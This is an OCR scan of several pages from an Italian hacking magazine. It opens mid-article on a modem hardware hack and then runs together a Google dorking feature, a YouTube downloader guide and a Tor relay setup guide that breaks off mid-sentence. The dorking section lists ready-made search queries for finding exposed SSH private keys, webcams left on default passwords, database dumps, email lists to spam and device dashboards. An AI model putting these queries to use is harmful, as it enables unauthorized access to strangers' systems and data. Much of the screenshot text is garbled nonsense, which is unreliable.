corto circuiti con la scheda elet-
tronica del modem, cosa che ol-
tre a causare malfunzionamen-
ti, potrebbe portare, nel caso
peggiore, a danneggiamenti
permanenti del modem e/o del-
la nano.

Si noti come solo la parte dedi-
cata alla microSD e stata lasciata
ibera per poter inserire o ri-
muovere all'occorrenza la sche-

da di memoria.

Ora facciamo qualche prova di
ingombro nel case per trovare il
miglior modo di posizionamen-
to della nano che allo stesso
tempo deve poter entrare sen-
za dare ingombri che impedi-
scano la chiusura dell'involucro
né, al contempo, “sbatacchiare”
al suo interno.

La soluzione migliore e posizio-
narla in un punto dove c'e spa-
zio aggiungendo della carta o
nastro adesivo appallottolato
per fare spessore: un modo faci-




GREARE UN NODO EMULE, BITTORRENT...

Dettaglio della piedinatura di modem (1-8) e nano (A-H).

le per bloccare la nano senza
per questo renderla irremovibile
in caso di futuri rimaneggiamen-
ti. Una volta scelto I'angolo dove
posizionare la nano, spieghiamo
| fili @ essa saldati fino al punto
dove dovranno essere saldati
sul modem, in modo tale da ta-
gliarli della lunghezza giusta ed
evitare che si attorciglino o dia-
no inutile ingombro.

Ora procediamo a saldare al
modem i corrispondenti: per la
cronaca le accoppiate sono
1-TXN, 2-RXN e 3-RXP. Mentre
un caso a parte sono i due punti
dove prelevare OV e 5V, situazio-
ne che varia da modem a mo-
dem e che e inutile riportare qui
per il particolare modello in no-
Stro possesso.

A questo punto, la porta Ether-
net scelta sara indisponibile per
altri utilizzi, visto che sara per-
manentemente cablata alla
nano, per cui evitate di usarla:
magari, per ricordarvelo, inca-
strateci dentro un connettore
tagliato via da un vecchio cavo
Ethernet inutilizzato, fateci sgoc-
ciolare dentro la cera fusa di una
candela, Dbloccatela infilandoci
dentro un pezzetto di tappo di

sughero... insomma, inventatevi
gualcosa per marcare la porta
occupata!

CONCLUSIONI

Bene, abbiamo completato il no-
stro lavoro di hacking elettromec-
canico, ma ora come ora, l'appa-
rato non e attivabile in mancanza
di sistema operativo e applicativi,
per cui resta da implementare la
parte software: nel prossimo nu-
mero di <<Hacker Journal>>, ve-
dremo come configurare il siste-
ma operativo e provvederemo a
installare  alcuni  interessanti
software sul nostro modem! Tra
cui proprio il famosissimo eMule.
Quindi, impareremo la vera arte
di nascondere, realizzando un su-
per modem-router da utilizzare
come server.

La nano coi fili saldati e ricoperta di scotch di carta a scopo isolante

UN ULTERIORE MIGLIORAMENTO?

cgme osservabile dallo schema elettrico, la nano espone la piedinatura
per due linee di comunicazione USB, indicate nella foto relativa come

USB3 (D+, D-) e USB2 (D+, D-). Questo significa che possiamo aggiungere
con facilita una o due chiavette USB e visto che ormai l'attuale sviluppo
tecnologico I'ha portata a considerare la normalita avere chiavette con ta-
gli da 128 o addirittura 256 GB, ecco che con facilita possiamo rendere |l
Nostro sistema un vero e proprio magazzino di file a dei prezzi veramente
alla portata delle tasche di tutti. Ovwiamente, per quanto riguarda I'imple-
mentazione, anche in questo caso dovremo avere un occhio di riguardo
per gliingombri e agire per eliminare dalle chiavette USB tutto il superfluo:
involucro plastico, porta USB e limitarci a saldare i 4 fili necessari: D+,D-,
OV e 5V. Ricordiamo che questi ultimi due li potremo indifferentemente
attingere direttamente dalla nano o dal modem.
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IGERGRE GELAT

L'intelligenza artificiale ti aiuta a creare potenti query per scovare
| datl nascosti dal motore di ricerca Google. Incredibile, ma vero!

IN BREVE

Utilizzare le tecniche
avanzate per le ricerche
con Google

DIFFICOLTA

- ey
S
= =

ell'era digitale moderna, la
sicurezza delle informazio-
ni e diventata una priorita
assoluta per individui e or-
ganizzazioni. Tuttavia, pochi sono
consapevoli di guanto sia semplice
accedere a informazioni sensibili
utilizzando tecniche di ricerca
avanzate su Google. Una di queste
tecniche e conosciuta come Goo-
gle dorking, che sfrutta query di ri-
cerca avanzate per scoprire infor-
mazioni nascoste nei meandri del
Web; nello specifico si tratta di
keyword di ricerca molto particola-
ri che, inseriti nella barra di ricerca
di Google o di altri motori diricerca

- come vedremo funzionano anche
con Bing o DuckDuckGo per esem-
pio, rivelano parti nascoste dei siti
Web, spesso esponendo dati che i
proprietari dei siti preferirebbero
mantenere riservati o che magari
ignorano proprio essere state indi-
Cizzate da BigG.

Il concetto di Google dorking e relati-
vamente semplice, ma il suo impatto
puo essere significativo. Google, du-
rante il processo di indicizzazione
delle pagine Web, puo analizzare
parti di siti che normalmente sono
nascoste agli utenti comuni; queste
informazioni nascoste pPossono in-
cludere dati sensibili come dettagli di

GOOGLE DORK & INTELLIGENZA ARTIFICIALE

ggi, I'innovazione tecnologi-

ca ha portato alla creazione
di strumenti di intelligenza artifi-
ciale (IA) che facilitano ulterior-
mente |la generazione di Google
Dork. Questi strumenti permetto-
no agli utenti di creare comandi
di ricerca avanzati semplicemen-
te descrivendo l'operazione che
desiderano eseguire. L'IA inter-
preta la richiesta dell'utente e ge-
nera automaticamente la query
piu efficace per raggiungere l'o-
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biettivo desiderato. Questa inno-
vazione rende le tecniche di Goo-
gle dorking accessibili a un
pubblico piu ampio, riducendo la
necessita di una conoscenza ap-
profondita delle sintassi di ricer-
ca avanzate di Google.

L'utilizzo di strumenti di IA (nelle
pagine a seguire abbiamo dedica-
to a uno di questi strumenti un
tutorial sull'utilizzo passo dopo
passo) per la creazione di Google
Dork non solo semplifica il pro-

cesso, ma aumenta anche il ri-
schio che queste tecniche venga-
no usate per scopi malevoli.
Pertanto, e cruciale che gli utenti
comprendano i potenziali rischi
associati e utilizzino tali strumen-
ti in modo responsabile. Le azien-
de devono anche essere consa-
pevoll delle potenziali
vulnerabilita esposte da Google
Dork e adottare misure di sicu-
rezza appropriate per proteggere
le loro informazioni sensibili.
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GOOGLE DORK & IA

fioura #1s

Il database viene continuamente aggiornato con nuove query scoperte dalla comunita di sicurezza informatica,
ed e disponibile pubblicamente. Nel tempo e diventato uno strumento popolare tra i penetration tester, gli esperti

di sicurezza e, purtroppo, anche tra i cyber criminall.

login, indirizzi email, numeri di
telefono e persino documenti ri-
servati. Utilizzando comandi di
ricerca avanzata, i Google Dorks
permettono di scoprire queste
informazioni con semplicita.
L'impiego di questa tecnica ha
molteplici applicazioni, positive
e negative. Gli hacker o i malin-
tenzionati possono utilizzarle
per raccogliere dati sui loro
obiettivi, identificare vulnerabili-
ta nei siti Web e persino ottene-
re accesso non autorizzato a
server, telecamere di sicurezza e
file protetti. Per esempio, alcuni
dork possono essere utilizzati
per trovare file che contengono
tentativi di login falliti, rivelando
nomi utente e password, altri
possono bypassare i portali di
login, permettendo agli hacker
di entrare in aree protette di un
sito Web senza dover fornire
credenziali valide.

D'altro canto, le aziende e le or-
ganizzazioni di sicurezza infor-

matica possono utilizzare i dork
per comprendere meglio le loro
falle di sicurezza e quindi raffor-
zare le loro difese. Queste tecni-
che possono anche essere utiliz-
zate per migliorare le strategie
di SEO e marketing, scoprendo
esattamente quale tipo di infor-
mazioni su di loro e facilmente
reperibile online.

Nonostante |la potenza e la pe-
ricolosita dei Google Dork, il
loro utilizzo e legale, a meno
che non vengano sfruttati per
accedere in modo non autoriz-
zato a dati protetti. L'atto di
cercare informazioni e perfetta-
mente legale, ma l'uso di tali in-
formazioni per scopi illeciti,
come il furto diidentita o I'acces-
SO Non autorizzato a sistemi in-
formatici, e decisamente illega-
le. Ricordiamolo sempre!

UN PO’ DISTORIA

L'avvento dei Google Dork ri-
sale agli inizi degli anni 2000,

quando l'esperto di sicurezza
informatica Johnny Long
(alias jOhnnyhax) inizio a uti-
lizzare query di ricerca perso-
nalizzate per identificare ele-
menti di sitiweb che potevano
essere sfruttati in attacchi in-
formatici.

Long fu il primo a pubblicare
la propria definizione di goo-
gleDorks nel dicembre 2002
sul suo sito ihackstuff.com: "An
inept or Foolish person as re-
vealed by Google”.

Da quel momento in poi, le
query personalizzate furono
sempre piu corpose, tanto da
formare un vero e proprio da-
tabase, Google Hacking Data-
base, una risorsa ancora oggi
utilizzata per scoprire vari tipi
di informazioni nascoste.

Per i piu curiosi il DB e accessi-
bile da questo indirizzo Web:
https://www.exploit-db.com/

google-hacking-database [figu-

ra #1].
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COME FUNZIONANO
| GOOGLE DORK?

Forse non conoscete i Google
Dork, ma inconsapevolmente
ne avrete sicuramente utiliz-
zato qualcuno. Per esempio,
gquando volete indicare al mo-
tore di ricerca di trovare una
specifica frase, inserite |'esat-
ta frase da trovare tra doppi
apici: “argomenti ultimo nume-
ro hacker journal”.

L'impiego dei doppi apici e for-
se il piu elementare dei Dork
che possiamo utilizzare. Oltre
ai doppi apici, esiste una serie
di operatori e parole chiave
che, opportunamente conca-
tenate, possono aiutarvi a pro-
gettare query di ricerca an-
che molto complesse, per

intext:secret inurl password

scovare qualunque tipo di in-

formazione.

Di seguito sono riportati alcuni

degli operatori piu comune-

mente utilizzati.

o Site: effettua ricerche all'in-
terno di uno specifico sito.
Per esempio, site: wikipe-
dia.com cerchera solo all'in-
terno del sito wikipedia.com.

* Filetype: cerca tipi difile spe-
cifici, filetype:pdf restituira
per esempio file di tipo PDF.

figura #2

runment)

intext:secret inurl:password

2FA |s & secret password that regenerates every thirty seconos or so thal s needed every ume a

USer lOge INO el AcCoum

Q Bab ia - loving languages

Ihpa /i bah i | GLICNANG » secret password |

Qual & la traduzione di "secrel password” in ltalianc?
Traduzione per ‘secret password' nel dizonario ingiese-itaiiano gratudo @ tane aitre traduzioni n

-

IIPS /Peww BIMEZON 1 S8CTeT-Passwors-cusinare-ncor |

My secret Password: || metodo pit semplice ed efficace per ...

My secret Password, | metodo pii sempice ed efficace per custodire & ncordare e
PASSWORD. Il tuo ario della franguiliitd online o Il regalo ideale per . .

T48 &

IVILpS. e Caldmaret com -+ A8 YieGRON! Caras ;

Secret Password - Carte YGO

Comgpra e vendl Secret Password {mint) nel mercato onene pw: grande d Europa per II TCG al

Yu-Gi-On! Facle, sicuro, coi miglion prezai

Fassword link

&
DA (/pasewont i

Tradistl guesia paging |

Password. link: Securely send and receive sensitive information

Fealures Onp-limo links for secure dala shanng - Reques! sensilive dala with a Secrel
Raquest ink - Create links from a CSV fie Teams - Notifications - AP

i T

Ppa (AW SIMEZDN 1 | BRCTU-DESFOI-TROUAT-RAVE- |

my secret password tracker: salva e organizza le tue ...

6 password per pagina. Ogri pagma contens S8 Spaz per e passwory, parmatiendol d|

immagazziname fino & 24 per lettora. Fiu di 600 password da archiviare ..
----- Valulszione § 4 recensiond 4% € ©

L'accesso non autorizzato a sistemi

o dati puo essere illegale, é pertanto
essenziale rispettare le normative
sulla privacy e sulla sicurezza quando
si conducono test o ricerche

* Link: per scovare pagine
che si collegano a una URL
specifica. link:wikipedia.com
individua pagine Web che
collegano a wikipedia.com.

* Inurl: puo essere utilizzato
per trovare parole specifi-
che all'interno dell'lURL di
una pagina. Per esempio,
inurl:email restituisce pagine
con il termine email all'in-
terno della URL del sito Web
individuato.

* Intext: cerca un testo all'in-
terno del contenuto di una
pagina Web. Per esempio,
intext:"password” indivi-
dua tutte le pagine Web
contenenti la parola pas-
sword.

* Intitle: e impiegato per cer-
care termini particolari nel
titolo di una pagina Web.
Per esempio, intitle:"index
of” potrebbe rivelare server
Web che consentono di ac-
cedere liberamente a direc-
tory non protette.

Gli operatori possono essere
combinati tra loro per dar
vita a ricerche piu complesse.
Facciamo un altro esempio:
intext:secret inurl:pas-
sword [figura #2], indica a
Google di mostrare i siti Web
che contengono nell'url la pa-
rola password e nel testo del-
la pagina Web la parola se-
creL;




GOOGLE DORK & IA

IL TOOL IA CHE GENERA QUALUNQUE DORK

Generate custom dorks for
Google, Bing, DuckDuckGo,
& more!

GRATUITO PER GOOGLE, BING E DUCKDUCKGO
DorkGenius offre due diversi piani per soddisfare le
proprie esigenze. |l piano gratuito consente di
generare e utilizzare dork personalizzati per Google,
Bing e DuckDuckGo senza alcun costo. Con il piano a
pagamento si avra accesso a funzionalita piu
avanzate, inclusi ben nove motori di ricerca.

IL SERVIZIO “GENIALE"

Si chiama Dork Genius il servizio Web che permette
di creare complesse query impiegando [1A. Per
utilizzarlo puntare il browser sulla pagina Web
https://dorkgenius.com/, quindi procedere alla
registrazione gratuita cliccando sul pulsante Sign
Up posto in alto a destra della schermata.

3K Your gorking 1 e next ievel! What do you want youwr dork to do7

Google Dork Rlesult

Dk Dk Go Dvrk Resalt

IL NOSTRO PRIMO ESPERIMENTO...

Nell'larea What do you want your dork to do?,
scrivere cosa ci si aspetta dal Dork. In questo esempio
abbiamo chiesto all'lA di generare un Dork che mostri
"tutte le pagine web in lingua italiana che contengano al
loro interno la seguente frase: ricerca sull’intelligenza
artificiale". Poi, cliccare su Generate.

LA REGISTRAZIONE E IMMEDIATA
La creazione di un account e immediata, basta

compilare le poche voci mostrate a video (Nome, Email
e la Password scelta per accedere al servizio). Per prove
limitate si puo anche evitare la registrazione, basta
scorrere la homepage fino a individuare la sezione
Create Your Custom Search DorKk.

Pre-Built Google Dorks List

IL DORK E SERVITO

Dork Genius generera tre diversi Dork per i motori
di ricerca Google, Bing e DuckDuckGo; per
utilizzarli bastera cliccare sul pulsante in
corrispondenza del Dork (Copy) e incollare nel
motore di ricerca di riferimento.

UN ELENCO GIA PRONTO

Dork Genius offre ai suoi utenti una lista
predefinita di vari Dork. La maggior parte di questi
dovrebbe funzionare anche su altri motori di
ricerca. E possibile accedere alla lista completa da
https.//dorkgenius.com/dork-list.
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LE QUERY DEI PIRATI!

Di seguito, riportiamo a solo scopo didattico, alcuni esempi di ricerche che spesso
gli smanettoni compiono per portare a termine i loro piani illegali

WEBCAMXPS - @} SPIARE LE WEBCAM CHE TRASMETTONO CONTENUTI LIVE

R, L

"l

Google Dork: intitle:“webcamXP 5” inurl:8080

oppure inurl:top.htm inurl:currenttime

Molte telecamere online risultano vulnerabili perché vengono
installate senza una corretta configurazione, spesso lasciando
addirittura invariata la password di default impostata dal produttore.
Utilizzando particolari Google Dork e possibile individuare e

accedere a queste webcam mal configurate, che trasmettono in
diretta immagini di case, uffici o negozi.

MIGLIAIA DI ELENCHI EMAIL A PORTATA DI CLIC

Google Dork: filetype:csv inurl:email.csv

oppure filetype:xisx inurl:email.xiIsx

Gli indirizzi email sono facilissimi da trovare con Google Dork. La
maggior parte degli spammer utilizza questo trucco per aggiungere
un numero illimitato di indirizzi di posta elettronica alla propria lista
di spam. Nell'esempio, abbiamo riportato due distinte sintassi usate
per ricercare file di tipo CSV (Comma Separated Values) oppure file
Microsoft Excel (XLSX) che riportino nell'URL il testo email.csv oppure

email.xlsx.

LA LISTA DEI SERVER WEB VULNERABILI

Google Dork: inurl:/proc/self/cwd oppure intitle:"index of" inurl:ftp
| server Web con directory esposte sono generalmente considerati
vulnerabili, poiché possono essere sfruttati per estrarre informazioni
essenziali. Tali directory di solito vengono scovate dai
malintenzionati lanciando questo Dork. Sempre in merito a server
vulnerabili, il Dork intitle:"index of" inurl:ftp rivela i server FTP
liberamente accessibili dalla pagina Web.

IL DUMP DEL DATABASE E SERVITO
Google Dork: intext:"phpMyAdmin SQL
Dump"” intext:"INSERT INTO"

oppure index of:“database.sql.zip”

Il dump di un database e una
rappresentazione testuale dell'intero
database o di una sua parte, che puo
includere sia la struttura che i dati stessi.
Viene solitamente generato per scopi di
backup, migrazione o replicazione dei
dati. Questo dork prende di mira i dump
del database creati da phpMyAdmin, che
potrebbero potenzialmente esporre
informazioni sensibili.

Altro Dork usato per scovare dump dei
DB: index of:“database.sql.zip”
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Formatta il codice

{
L1} idlll = 1’.
“name": “wsdmin®,
ilurlhl'= (LNL] .
“*description™: "“,
"link": "
Ilslugll: (2] e ; Ilr
"meta™: (],
* links": {
"self": |
{
"“hrat™ ™
}
1,
"collection":

{
“href"; *

Swwp=)son/wp/v2iusers/1”

/wp=json/wp/vi/users”

GOOGLE DORK & IA

SCOVARE GLI UTENTI WORDPRESS

Google Dork: inurl:/wp-json/wp/v2/users/
Per chi non lo conoscesse, WordPress e un
sistema di gestione dei contenuti utilizzato
per creare e gestire siti Web. || CMS
permette di creare utenti con vari ruoli,
dagli editor agli amministratori di sistema.
Questo Dork consente ai malintenzionati di
accedere ai siti web vulnerabili che
espongono gli username degli utenti con
eventuale descrizione. | dati vengono
riportati in un file di testo di tipo JSON.

IS W RN VI I TR VIR N 1 dex of /SysGen/HostFiles
Google Dork: intitle:index.of id_rsa -id_rsa.pub

Le chiavi SSH (Secure Shell) sono un metodo di autenticazione
utilizzato per stabilire connessioni sicure tra un client e un server
attraverso la rete, si basano su un sistema di crittografia a chiave
pubblica; tali chiavi devono rimanere esclusivamente nel sistema

utilizzato per accedere al server SSH remoto e non devono mai
essere condivise. Tuttavia, questo semplice Dork permette ai
accedere alle chiavi SSH indicizzate da Google!

Statas_ Non HP cartidge » use g

x

T sodlling

Me-Aug-2028 15:18
tb—-hug-Z828 13:18
28-Aug-2828 15:18
TE-Aug-2070 15:18
I-Awg-2078 15:18
PE-Asg-2028 15:18
T6—-Awg-2028 15:18
runiests FEda MY Lo—hug-2028 13118
ruriests-mysal-clean.sh T8-Aug-2028 15:1A

W [ N (NN 4

runTesti-mwial- loag, sk IE-Awg-T828 15:18

ACCEDERE ALLE DASHBOARD DI DISPOSITIVI DI RETE

Google Dork: intitle:”"HP Laserjet” inurl:SSIl/index.htm
Molte volte, a causa di configurazioni errate o insufficientemente sicure, dispositivi di rete come stampanti
e sistemi di archiviazione di rete (NAS) diventano vulnerabili agli attacchi informatici. Questo rende possibile
al pirati informatici individuare facilmente tali dispositivi e ottenere accesso alla loro dashboard di
configurazione. Una volta dentro, hanno la liberta di manipolare le impostazioni e le funzionalita dei

dispositivi a loro piacimento!

MP3, MP4, PDF A GOGO

Google Dork: Intitle: index of (Tipo di file)

per esempio Intitle: index of (MP4)

Il Dork viene utilizzato per trovare file con
gualunque tipo di estensione all'interno di siti Web
indicizzati. Questo tipo di ricerca e spesso
utilizzato per trovare file multimediali, come video,
all'interno di directory di siti web che potrebbero
non essere facilmente accessibili tramite la
navigazione standard del sito. In accoppiata con
altri operatori puo diventare uno strumento
potentissimo per la ricerca di qualungue tipo di
documento.

Index of /assets/img/latest/mpeg

o
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L'ASPIRATUTTO DA YOUTUBE!

Tidiamo il tool e la guida per prelevare contenuti dalle principall
piattaforme di streaming audio/video

COME FUNZIONA?

Una volta installata I'applicazione sul
computer (https://vividl.net/), basta
avviarla e inserire I'URL del video de-
siderato nella schermata dedicata.
Cliccando sul pulsante di download, il
video verra salvato sull'hard disk in
pochi istanti. Vividl non si limita a sup-
portare YouTube, ma e compatibile
anche con altre piattaforme di condi-
visione come Vimeo, DailyMotion e
SoundCloud. Di seguito, vi mostriamo
iIn pochi passaggi come installare Vivi-
dl e configurarlo per scaricare i conte-
nuti desiderati. Tuttavia, e impor-

ouTube e universalmen-
te riconosciuto come la
piu vasta e popolare
piattaforma di condivi-
sione video al mondo, offrendo
una vasta gamma di contenuti
per soddisfare ogni interesse.

Tuttavia, al di fuori dell'opzione
di aderire a profili a pagamento
come YouTube Premium, che of-
fre la visione senza pubblicita e
a possibilita di scaricare video
per la visualizzazione offline, non
viene concessa la possibilita di
salvare i video direttamente su

IN BREVE

Come utilizzare Vividl per

scaricare e convertire
filmati da YouTube & Co.

DIFFICOLTA

proprio dispositivo.
Fortunatamente, esiste una so-
luzione gratuita e user-frien-
dly: si chiama Vividl.

tante ricordare che molti contenuti
online sono soggetti a copyright,
quindi e fondamentale utilizzarli
nel rispetto delle leggi vigent.i.

NON SOLO VIDEO!

ividl supporta diversi formati

di salvataggio, lineari e com-
pressi, sia audio che video, come
per esempio webm, avi, mkv (vi-
deo) e mp3, m4a, wav, ogg vorbis
(audio), tutti selezionabili nella
schermata Impostazioni/Genera-
le. Non solo. Tra le funzionalita
evolute del programma ce n'e una
interessante che permette di avvia-
re il download diretto dei filmati
senza, tutte le volte, dover impor-
tare il link che punta al video da
scaricare, dagli appunti di Windows
nella schermata di download. Per
attivare questa funzione cliccate

34 i
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+ B ¥
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sull'icona della ruota dentata visibi-
le in alto a destra nella schermata
di programma, selezionate la sche-

Automatizza - importa sutomaticamente URL dagh Appunti

Apphcanone

da Avanzate, spuntate la casella
Download diretto dei video, quindi
cliccate Ok per confermare.




AVVIARE IL DOWNLOAD

SGARICA E GONVERTE!

| passi da compiere per scaricare i file e convertirli senza difficolta

¥ Wied

Welcome lo the Vividl Selup Wizard

The mealer wil gede you Berouvge Y veem egu-ed i oetel el on smir oo geder

WA N T e o e pro e e ok che S by Cop g e ot sl e ten T e e
M e Pl A O el S0 4y O 0 AWIDnSOn of Pl Ji0e By Or mrvy Odirthles O L i o kal® P Bodeolod Dl
W C e et e S el P e il T B TSR T e [ G il e e e

IL TOOL

Dopo aver estratto |'archivio VividlSetup.zip (scaricabile
da https.//vividl.net) avviate I'eseguibile VividiSetup.exe.
L'installazione procede senza richiedere passaggi
complicati: e necessario cliccare tre volte sul pulsante
Next e, una volta completata, e sufficiente chiudere la
finestra di setup. Awviate il programma.

Sempre dalla finestra Impostazioni, scheda Generale
spostatevi nella sezione Elenco download e dal campo
Formato download predefinito: scegliete, dal menu a
tendina, la voce Converti in MP4. Da questo menu
potete selezionare altri formati di codifica (non solo
video), come AVI, MKV. MP3 e altri. Cliccate Ok per
confermare.

IL CONTENUTO DA SCARICARE

Tornate alla schermata principale di VIVIDL. Cliccate
adesso sul pulsante + visibile in alto a sinistra. Cliccate
subito dopo col puntatore del mouse nella finestra
Aggiungi nuovi video. Premete Ctrl + V per copiare
Iindirizzo YouTube dagli appunti di Windows nella
finestra dei download. Attendete qualche istante e
cliccate Ok.

LA CARTELLA DEI DOWNLOAD
Cliccate su Impostazioni. Nella scheda Generale
spostatevi nella sezione Cartella Download video. Per
scegliere una cartella specifica in cui salvare i vostri
video, cliccate su Modifica, quindi selezionate il percorso
desiderato dove verranno memorizzati i filmati.
Successivamente, confermate premendo OK.

IL VIDEO DA PRELEVARE

Aprite il browser e accedete alla piattaforma
YouTube (www.youtube.com). A questo punto
avvalendovi del campo di ricerca individuate il video
da scaricare. Posizionatevi nella barra degli indirizzi
e cliccate la combinazione di tasti Ctrl + A, per
selezionare l'indirizzo, e subito dopo Ctrl+C, per
copiare lI'indirizzo negli appunti di Windows.

IL DOWNLOAD

Cliccate Configura Download per decidere il formato di
decodifica video, selezionate una delle opzioni nella
colonna di sinistra, e quello audio. Per scaricare soltanto
'audio dovete deselezionare la casella Video e spuntare
la casella Solo audio. Per salvare in formato MP3, da
Converti in: dovete spuntare Solo audio e scegliere Mp3
dal menu a tendina. Infine, cliccate la freccia e...
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UN NODO TOR PERSONALE

Tidiamo le dritte per creare una connessione protetta e privata

IN BREVE

Come creare un nodo
Tor utilizzando anche
una VPS

DIFFICOLTA

GNU nano 7.2

Nickname Aleff
rﬁﬂtait]ﬂfﬂ ﬂlfﬂ%ﬁﬂdrﬂ Lreco qalgggamdrg D0 qreco DOT 1 AT b

RPort 443
-x1tPolicy reject *:*

ControlPort 9651
"ooki1eAuthentication 1

n questo approfondimento esplore-

remo i dettagli tecnici necessari per

la creazione di un nodo Tor, com-

prendendo requisiti hardware e
software. Utilizzeremo una VPS Linux
XS fornita da IONOS per garantire uni-
formita e coerenza nel processo. E con
specifiche hardware basilari come una
CPU virtuale, 1 GB di RAM e 10 GB di
spazio di archiviazione.

UTILIZZIAMO UNAVPS

L'avvio con una VPS offre numerosi
vantaggi. Le reti Wi-Fi domestiche infatti
Spesso presentano configurazioni pre-
definite che lasciano aperte diverse
porte destinate a dispositivi loT anziche
a server raggiungibili da remoto. Que-
sto scenario puo creare potenziali pro-
blemi di sicurezza quando si configura
un nodo Tor, in quanto l'indirizzo IP re-
ale diventa visibile, consentendo l'ac-
cesso indesiderato tramite porte aper-
te. Con una VPS di solito sono aperte
solo poche porte o erichiesta I'apertura
manuale delle porte per garantire |l
flusso di rete previsto.

etc/tor/torrc *

L file torrc per la configurazione di un nodo nella rete Tor aperto

con leditor di testo nano.
e

INSTALLAZIONE

Per procedere con linstallazione e ne-
cessarioinstallareil pacchetto apt-tran-
sport-https per abilitare il download
tramite HTTPS, che garantisce un am-
biente piu sicuro. Poi, occorre creare un
file denominato tor.list all'interno della
directory /etc/apt/sources.list.d/, uti-
lizzando un editor di testo, e aggiungere
le stringhe;

deb [signed-by=/usr/share/keyrings/
tor-archive-keyring.gpg]l https://
deb.torproject.org/torproject.org
<DISTRIBUTION> mailn

deb-src [signed-by=/usr/share/

keyrings/tor-archive-keyring.gpg]
https://deb.torproject.org/tor-
project.org <DISTRIBUTION> maln

La parola chiave DISTRIBUTION deve
essere sostituita con il nome in codice

del sistema operativo, che si puo otte-
nere tramite il comando Isb release -c.
Poi, e necessario aggiungere la chiave
GPG utilizzata per firmare i pacchetti
Tor mediante il comando:

wget -qO- https://deb.torproject.
org/torproject.org/A3C4FOF979CA-
A22CDBA8 F512EE8CBC9E886DDD89.asc |
gpg --dearmor | tee /usr/share/
keyrings/tor-archive-keyring.gpg >/
dev/null

Infine, si procede con l'installazione di
Tor eseguendo i comandi:

apt update




UN NODO TOR PERSONALE

NyX rappresenta un monitor a riga di comando per Tor, offrendo dettagli in tempo reale sul proprio

relay, come l'utilizzo della larghezza di banda, le connessioni attive, i log e molto altro ancora.

apt install tor dev.torproject.
org-keyring

Dopo l'installazione, e consigliabile
eseguire un controllo per verificare
il corretto funzionamento del servi-
zio Tor. Per fare cio, e possibile riav-
viare il servizio tramite il comando
systemctl| restart Tor e verificare
lo stato del servizio con systemctl
status tor.

AGGIORNAMENTI

Per garantire la sicurezza del vostro
relay Tor, e consigliato impostare
gli aggiornamenti automatici. Per
avviare guesto processo, e neces-
sario installare le librerie unatten-
ded-upgrades e apt-listchanges.
In seguito, e cruciale sovrascrivere il
contenuto del file /etc/apt/apt.
conf.d/50unattended-upgrades
con le seguenti istruzioni;

Aggiornate pol 1l file /etc/apt/
apt.conf.d/20auto-upgrades con
le seguentl 1struzioni:

APT :: Periodic:: Update-Packa-

ge-Li1sts "1";

APT :: Periodic:: AutocleanInter-
valk 5%

APT :: Periodic:: Unattended-Up-
grade "1",;

APT :: Periodic:: Verbose "1";

In questo modo, imposterete gli ag-
giornamenti automatici. Se deside-
rate abilitare anche il riavio auto-
matico del sistema operativo dopo
gli aggiornamenti, aggiungete l'istru-
zione seguente al file /etc/apt/apt.
conf.d/ 50unattended-upgrades:

Unattended-Upgrade:: Automa-
tic-Reboot "true";

Unattended-Upgrade :: Ori-
gins-Pattern {

"origin=Debi1an, codename=
${distro codename},label=De-
bian-Security"”;

"origin=TorProject";

Js

Unattended-Upgrade :: Packa-
ge-Blacklist {

s

Per verificare il corretto funziona-
mento del sistema, potete eseguire
I comando unattended-upgrade
-debug. Se preferite solo verificare
'output di debug, lanciate il coman-
do unattended-upgrade --debug
-dry-run.

CONFIGURAZIONE NODO

Una volta completata l'installazione
di Tor in modo appropriato, il passo
successivo e la configurazione del
nodo, che avviene attraverso il file

di configurazione denominato
torrc situato in /etc/tor/. Questo
offre la flessibilita di adattare il ser-
ver alle nostre specifiche esigenze.
Torrc presenta numerose opzioni
configurabili, suddivise in varie ca-
tegorie. Sebbene le configurazioni
possibili siano molteplici, per il no-
stro scopo, useremo solo una sele-
zione limitata di queste opzioni.
Tuttavia, per coloro che desiderano
esplorare ulteriormente, e possibi-
le consultare il manuale ufficiale,
che offre una panoramica detta-
gliata delle varie impostazioni.

TOR RELAY INFO

Nella prima sezione della configu-
razione del nodo Tor e importante
includere informazioni non stretta-
mente essenziali ma fortemente
consigliate. La configurazione di
base si concentra su due imposta-
zioni principali:

- Nickname: questo identifica il
nodo in modo non univoco e non
dovrebbe coincidere con il vostro
pseudonimo personale, ma piutto-
sto con un nome distintivo per il
nodo stesso.

- Contactinfo: questa e la vostra
informazione di contatto. Potete in-
serirla in modo che sia comoda per
Voi e potete formattare l'indirizzo
email per renderlo meno vulnera-
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bile al rilevamento da parte di bot.
Per esempio, potreste adottare
una formattazione del tipo: Nome
Cognome <nome PUNTO cogno-
me AT dominio PUNTO com>.

TOR RELAY SETTINGS

La configurazione di base per im-
postare il nodo come intermedio e
la seguente:

— ORPort 443: questo imposta l'a-
pertura e la disponibilita della porta
443 per il traffico. Sebbene questa
sia la configurazione di default, e
possibile scegliere altre porte in
base alle necessita.

- ExitPolicy reject *:*: questo im-
posta il nodo in modo da rifiutare
tutte le connessioni in uscita dalla
rete Tor, garantendo che non agi-
sca come nodo di uscita. Cio limita
la possibilita che il nodo sia utilizza-
to come ExitNode.

Tali configurazioni definiscono |l
nodo come un punto intermedio
all'interno della rete Tor, contri-
buendo alla trasmissione anonima
dei dati senza assumere le respon-
sabilita di fungere da nodo di uscita.

IMPOSTAZIONI

Non esiste una funzionalita integra-
ta in Tor che consenta il monitorag-
gio della rete stessa, motivo per cui
e consigliabile utilizzare il software
NyX.

Per configurare Nyx correttamen-
te, e necessario installarlo utilizzan-
do il comando apt-get install nyx, e
successivamente inserire le se-
guenti righe nel file di configurazio-
ne torrc:

- ControlPort 9051: Nyx utilizza la
porta 9051 per acquisire le informa-
zioni necessarie per il controllo.

- CookieAuthentication 1. questa
impostazione abilita le connessioni
alla porta di controllo unavolta che

>=rid

processo di connessione riconosce |l
contenuto di un file chiamato con-
trol auth cookie. Tale file viene crea-
to da Tor nella sua directory dati.

AWVIO DELNODO

A questo punto, avete completato
la configurazione del vostro nodo.
Bastera eseguire i comandi sy-
stemct| restart tor e systemctl
status tor per verificare lo stato
del servizio. Se il servizio risulta atti-
VO, potete procedere a verificare il
corretto funzionamento utilizzan-
do Nyx: basta digitare nyx nel vo-
stro terminale, senza i privilegi di
amministratore.

Quando Nyx si awviera, potreste
non vedere molte informazioni
rilevanti poiche il nodo iniziera ad
annunciarsi alla rete Tor e altri nodi
inizieranno a testarne la stabilita e
‘affidabilita. Dopo circa tre ore, se
tutto e stato configurato per bene,
potrete non solo osservare |
